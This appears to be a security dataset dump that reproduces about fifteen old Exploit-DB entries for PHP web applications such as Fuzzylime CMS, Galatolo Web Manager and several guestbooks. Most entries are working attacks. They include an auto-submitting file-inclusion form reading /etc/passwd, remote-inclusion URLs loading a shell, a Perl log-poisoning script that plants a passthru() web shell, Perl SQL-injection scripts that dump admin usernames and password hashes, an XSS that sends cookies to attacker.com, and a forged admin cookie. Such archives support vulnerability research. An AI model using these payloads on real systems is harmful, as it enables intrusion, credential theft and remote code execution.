deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4378
Description: Fuzzylime CMS 3.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-09-08
Author: not sec group

Exploit:
########################################################################
#################
#
#                           not sec group
#        http://www.notsec.com     info@notsec.com
#
#
#                      [fuzzylime (cms) <= 3.0]
#
# Class:         Local File Inclusion
# Found:       08/09/2007
# Site:           http://cms.fuzzylime.co.uk/
#Download:  http://cms.fuzzylime.co.uk/files/cms.zip
#Author:      [wHITe_ShEEp] of notsec
#Contact:     white_sheep@notsec.com - http://www.notsec.com
#
########################################################################
#################


                   vulnerable code:
       [cms]/code/getgalldata.php
______________________________________________________

1:    <?
2:    $p = $_POST[p];
3:    $m = $_POST[img];
4:    $m = "e$m";
5:    $entrytype = "gallery";
6:    include "../gallery/$p.inc.php";
7:    include "settings.inc.php";
8:    include "../$admindir/languages/english.inc.php";
...
41:   ?>
_______________________________________________________



       Exploit: ( Work only with magic_quotes_gpc = Off )
_______________________________________________________

<html>
<body onload="document.myform.submit()">
<form name="myform" action="http://www.site.com/[fuzzylime]/code/
getgalldata.php" method="post">
<input name="p" type="text" size="30" value="../../../../../../../../
etc/passwd%00" />
</form>
</html>
________________________________________________________




       Thanks to:
________________________________________________________

All notsec.com members;
r00t for testing;
________________________________________________________

# milw0rm.com [2007-09-08]
Exploit-DB #5260
Description: Fuzzylime CMS 3.01 - 'admindir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-14
Author: irk4z

Exploit:
.-----------------------------------------------------------------------------.
|  vuln.: fuzzylime cms <= 3.01 Remote File Inclusion Vulnerability           |
|  download: http://cms.fuzzylime.co.uk/                                      |
|  dork: "powered by fuzzylime"                                               |
|                                                                             |
|  author: irk4z@yahoo.pl                                                     |
|  homepage: http://irk4z.wordpress.com/                                      |
|                                                                             |
|  greets to: cOndemned, str0ke, wacky                                        |
'-----------------------------------------------------------------------------'

# code:

  /code/display.php:
  ... 
1    <?
2    $s = $_GET[s];
3    $p = $_GET[p];
4    $s = str_replace("../", "", $s);
5    $p = str_replace("../", "", $p);
6    if(empty($s)) $s = "front";
7    if(empty($p)) $p = "index";
8    $curs = $s;
9    $curp = $p;
10
11   include "code/settings.inc.php";
12   include "${admindir}/languages/english.inc.php";
 ...

 line 11: ./code/code/settings.inc.php not exists so $admindir is empty :D:D
 
# exploit: 
 
 http://[HOST]/[PATH]/code/display.php?admindir=http://host/shell.txt?

# milw0rm.com [2008-03-14]
Exploit-DB #6016
Description: Fuzzylime CMS 3.01a - 'file' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-07
Author: Cod3rZ

Exploit:
#!/usr/bin/perl
# ----------------------------------------------------------
# Fuzzylime CMS 3.01 Multiple LFI / RCE
# author  : Cod3rZ
# website : http://cod3rz.helloweb.eu
# ----------------------------------------------------------
# http://[site]/blog.php?file=../[file]\0
# http://[site]/code/newsheads.php?heads=../[file]\0
# post
# http://[site]/code/commupdate.php (type=count&s=[file]\0)
# ----------------------------------------------------------
# LFI to RCE:
# ----------------------------------------------------------

use LWP::UserAgent;

 system("cls");
#system("clear");

 print " -------------------------------------------------\n";
 print " Fuzzylime CMS 3.01 LFI / RCE                     \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";
 print " Insert Site (http://site.com/):                  \n ";
 chomp($site = <STDIN>);
 print " -------------------------------------------------\n";
 print " Insert Logs path                                 \n ";
 chomp($path = <STDIN>);
 print " -------------------------------------------------\n";
 
 #Infect Logs
 $lwp = LWP::UserAgent->new;
 $siten = $site.'/blog.php?file=';
 $ua = $lwp->get($site.'coderz <?php passthru(stripslashes($_GET[cmd])); ?> /coderz');
 #Control
 $ua = $lwp->get($site.$path.'%00');
 if($ua->content =~ m/cod3rz/) {
 print " Ok ".$site." is infected                         \n";
 print " -------------------------------------------------\n";
 print " ".$siten.$path."&cmd=[command]\\0                 \n";
 print " -------------------------------------------------\n";
 }

# milw0rm.com [2008-07-07]
Exploit-DB #7231
Description: Fuzzylime CMS 3.03 - 'track.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-25
Author: Alfons Luja

Exploit:
/*
--+_---=+--=_____=+++++

-- FuzzyLime 3.03 Local File Iclude PoC 
    ***
   (-0-)
  -____======_+++++---''''
***************************************__________________
-- Vuln 
 - code/track.php
   
  $m = $_GET[m];
  $p = $_GET[p]; //1 
  include "settings.inc.php";
  if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { //2
	header("Location: ${rooturl}index.php?s=news&p=$p&m=$m");
  }
  else {
    if(file_exists("../blogs/$p.inc.php")) { //3
	 include "../blogs/$p.inc.php";     //4 
   ...
1 $p is not filtered 
2 When POST'S is set 
3 and file exists
4 we have lfi

---+++++....--___________--============
*/


Go to LIVE_HTTP_HEADERS in firefox or opera or whatever
set url  http://site/path/code/track.php?p=[file] 
set "SEND POST CONNTENT"  url=evil&title=666&excerpt=xd
and push reply 
 
//Alfons Luja  25.12.2008

# milw0rm.com [2008-11-25]
Exploit-DB #4062
Description: Fuzzylime Forum 1.0 - 'low.php?topic' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-12
Author: Silentz

Exploit:
#!/usr/bin/perl -w

#################################################################################
#										#
#		   Fuzzylime Forum 1.0 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (low.php): 							#
#										#
#      $gettopicid = mysql_query("SELECT * FROM ${table_prefix}threads 		#
#      WHERE threadid='$_GET[topic]'");						#
#										#
# PoC: http://victim.com/low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),	#
#      username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE 		#
#      userid=1/*								#
# 										#
# Subject To: magic_quotes_gpc set to off					#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
# NOTE: You can also grab the username & hash via a cookie logger and this XSS:	#
#										#
#	http://victim.com/low.php?topic="><script>document.location=		#
#       "http://attacker.com/logger.php?var="+document.cookie</script>		#
#										#
#################################################################################

use LWP::UserAgent;
die "Example: exploit.pl http://victim.com/\n" unless @ARGV;

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE userid=1/*";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

if ($answer =~ /raquo; :(.*?):/){
	print "\nBrought to you by w4ck1ng.com...\n";
	print "\n[+] Admin User : $1";
}

if ($answer =~/([0-9a-fA-F]{32})/){print "\n[+] Admin Hash : $1\n";}

else{print "\n[-] Exploit Failed...\n";}

# milw0rm.com [2007-06-12]
Exploit-DB #23269
Description: FuzzyMonkey 2.11 - MyClassifieds Email Variable SQL Injection
Type: webapps
Platform: php
Date: 2003-10-21
Author: Ezhilan

Exploit:
source: https://www.securityfocus.com/bid/8863/info

It has been reported that FuzzyMonkey MyClassifieds may be prone to a SQL injection vulnerability that may allow an attacker to disclose user passwords by supplying malicious SQL code to the Email variable. This attack may cause the software to write user password to a world readable file, which may be accessed to launch further attacker against a system.

A malicious user may influence database queries in order to view or modify sensitive information, and gain unauthorized access by disclosing user passwords therefore potentially compromising the software or the database.

MyClassifieds version 2.11 has been reported to be prone to this vulnerability, however other versions may be affected as well. 

If the value of $email is aaa@aaa.com' OR 1=1 INTO OUTFILE
'/<directory-path>/pass.txt, the SQL request becomes:

select passmd5 from people where email=' aaa@aaa.com' OR 1=1 INTO OUTFILE
'/<directory-path>/pass.txt'
Exploit-DB #11830
Description: Fw-BofF (oolime-resurrection) 1.5.3beta - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-21
Author: cr4wl3r

Exploit:
=============================================================================
Fw-BofF (oolime-resurrection) 1.5.3beta Multiple Remote Include Vulnerability
=============================================================================


[+] Fw-BofF (oolime-resurrection) 1.5.3beta Multiple Remote Include Vulnerability
[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11391
[+] Download: http://code.google.com/p/oolime-resurrection/downloads/list

[+] PoC RFI: [path]/core/dispatcher.php?configRootDir=[Shell]

[+] PoC LFI: [path]/core/database.php?configDBchoice=[LFI%00]

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22]
Exploit-DB #13954
Description: G.CMS Generator - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-21
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Gcms generator SQLi Vulnerability
Date : june, 21 2010
Critical Level 	: HIGH
Vendor Url : http://www.laubrotel.com/gcms/demo/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
Gcms generator is a mini-site version CMS (content management).

With this tool, you can create an unlimited number of mini-site independent of each other, each mini-site has its own administration interface. For each site created a directory "site" is created, which allows you to point a domain name directly on the site
#######################################################################################################
Xploit: SQLi Vulnerability 

DEMO URL 
   http://server/?lang=[inject code]
###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #12374
Description: G5 Scripts Guestbook PHP 1.2.8 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-24
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Guestbook PHP XSS Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Guestbook PHP
Vendor = G5 Scripts
Vendor Website = http://www.g5-scripts.de
Affected Version(s) = 1.2.8

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = XSS
Affected Input Boxes = "Name", "Vorname", "Land", "Message"

The guestbook fails to properly sanitize the user input when a new entry is added.
When HTML/Java Script code is added, it gets displayed/parsed when the new entry was
successfully submitted.

Furthermore the code gets executed when the admin views the entries in the control panel.
It is even possible to temporarily disable the admin features in the backend
since the injected code gets executed before the admin buttons get displayed.
When the correct code was injected, the design gets destroyed and the admin buttons disappear.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 24.04.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #49904
Description: Gadget Works Online Ordering System 1.0 - 'Category' Persistent Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-05-25
Author: Vinay H C

Exploit:
# Exploit Title: Gadget Works Online Ordering System 1.0 - 'Category' Persistent Cross-Site Scripting (XSS)
# Date: 24-05-2021
# Exploit Author: Vinay H C
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/13093/gadget-works-online-ordering-system-phpmysqli.html
# Version: 1.0
# Tested on: Windows 10/XAMPP

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Attack Vector :

This vulnerability can result in the attacker to inject the XSS payload in the add Category field of the page and each time any user will open the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: +New==>Category input field.

Payload : <script>alert(document.domain)</script>

Vulnerable URL :
http://localhost/philosophy/admin/category/index.php?view=add

Steps To Reproduce :
1) Go to the admin Dashboard
2) Click on New and select Category..
3) Put Payload into the 'Add Category' parameter.
4) Click on Save.
5) XSS payload will be triggered.
Exploit-DB #8027
Description: Gaeste 1.6 - 'gastbuch.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-02-09
Author: bd0rk

Exploit:
               ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
               +                                                                +
               + Gaeste 1.6 (gastbuch.php) Remote File Disclosure Vulnerability +
               +                                                                +
               +                     bd0rk || SOH-Crew                          +
               +                                                                +
               ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



=> Vendor: http://www.php4scripte.de/

=> Download: http://www.php4scripte.de/download/gastbuchxhtml16.zip

=> Bugfound3R: bd0rk

=> Greetz: str0ke, TheJT, TheAJ, kretzi, DarkFig, Perforin ;-)

=> Vulnerable Code in gastbuch.php line 2-3

        -------------------------------
                              
           if (isset($_GET['start'])) {
           $start=$_GET['start'];

        -------------------------------


[+]XPL0iT: http://[t4rg3t]/[gaestepath]/gastbuch.php?start=../../TARGETFILE.php


                  ###The 20 years old, german Hacker bd0rk###

# milw0rm.com [2009-02-09]
Exploit-DB #14810
Description: Gaestebuch 1.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-26
Author: bd0rk

Exploit:
                ########################################################
                #                                                      #
                #          HINNENDAHL.COM Gaestebuch 1.2               #
                #                                                      #
                #       Remote File Inclusion Vulnerability            #
                #                                                      #
                #                 by bd0rk || SOH-Crew                 #                                     #                                                      #
                #                  www.soh-crew.it.tt                  #
                #                                                      #
                #            Contact: bd0rk[at]hackermail.com          #
                #                                                      #
                ########################################################


[~] Affected-Software: HINNENDAHL.COM Gaestebuch 1.2

[~] Vendor: http://www.hinnendahl.com/

[~] Download: http://www.hinnendahl.com/index.php?seite=download

[*] Greetz: inj3ct0r, DNX, Chip D3 Bi0s


Description: The $script_pfad parameter in /guestbook/gbook.php
             isn't declared before require. So an attacker can execute some
             php-shellcode about it. (line 3 - 4)



[+]Exploit: http://www.example.com/guestbook/gbook.php?script_pfad=[SHELLCODE]



### The 21 years old, german Hacker bd0rk ### <---white-hat :-)
Exploit-DB #6075
Description: Galatolo Web Manager 1.3a - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-07-15
Author: StAkeR

Exploit:
--==+============================================================================+==--
--==+   Galatolo Web Manager 1.3a <= XSS / Remote SQL Injection Vulnerability    +==--    
--==+============================================================================+==--

 [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
 [+] Discovered On: 14 Jul 2008
 [+] Download: http://gwm.dev-area.org/view.php?id=8

 [*] Vulnerabilities:
 
 [*] XSS <= 1.3a
 [+] all.php?tag= [Code Javascript]
 [+] http://site.com/all.php?tag=<script>alert(document.cookie)</script>
 
 [*] SQL (plugin users) 1.3a
 [+] plugins/users/index.php?id= [Code SQL]
 [+] -1+union+select+null,concat(user,0x3a,pass),null,concat(user(),0x3a,database(),0x3a,version())+from+users+where+id=1--
 
 [*] Exploit:

 #!/usr/bin/perl 
 use strict;
 use LWP::UserAgent;

 my $host = shift;
 my ($start,$content,@login);
 my $evilxx = "/plugins/users/index.php?id=-1+union+select+1,concat(0x25,user,0x25,pass),null,null+from+users+where+id=1--";

 if($host =~ /^http:\/\/?/i)
 {
   $start = new LWP::UserAgent or die "[+] Unable to connect\n";
   $start->timeout(1);
   $start->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
   $content = $start->get($host.$evilxx);
  
   if($content->is_success)
   {
     if($content->content =~ /%(.+?)%([0-9a-f]{32})/)
     {
       push(@login,$1,$2);
       print "[+] Login:\n";
       print "[+] Username: $login[0]\n";
       print "[+] [CREDENTIAL_REDACTED][1]\n\n";
      
       print "[+] Cookie Session:\n";
       print "[+] gwm_user = $login[0]\n";
       print "[+] gwm_pass = $login[1]\n\n";
      
       print "[+] Crack Password:\n";
       print "[+] md5(md5(password)) for crack:\n"; 
       print "[+] http://passcracking.com\n";
     }
     else
     {
       print "[+] Exploit Failed\n";
       print "[+] Site Not Vulnerable\n";
     }
   }
 }
 else
 {
   print "[+] Galatolo Web Manager (plugin users) 1.3 Remote SQL Injection\n";
   print "[+] Exploit Coded By: StAkeR ~ StAkeR\@hotmail.it\n\n";
   print "[+] Usage: Perl $0 <host>\n";
   print "[+] Usage: Perl $0 http://site.com\n";
 }

# milw0rm.com [2008-07-15]
Exploit-DB #6081
Description: Galatolo Web Manager 1.3a - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-15
Author: Virangar Security

Exploit:
  ############################################################################################
  #                                                                                          #
  #      ...:::::Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability ::::....   #           
  ############################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:
Galatolo Web Manager, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /Admin/index.php:

if (grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "admin" || grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "editor" ){
top();
menu();
echo $wellcome_admin;
foot();
}

---
exploit:
javascript:document.cookie = "gwm_user=admin; path=/"; document.cookie = "gwm_pass=admin; path=/";
-----
now visit /admin and  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-07-15]